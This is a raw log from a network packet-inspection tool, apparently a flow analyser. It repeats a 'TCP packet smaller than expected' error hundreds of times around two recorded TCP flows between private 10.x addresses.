ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [.....5] [ip4][..tcp] [.......10.0.0.2][21029] -> [.....10.128.0.2][22878] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [.....6] [ip4][..tcp] [.......10.0.0.2][24101] -> [.....10.128.0.2][.9251] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - 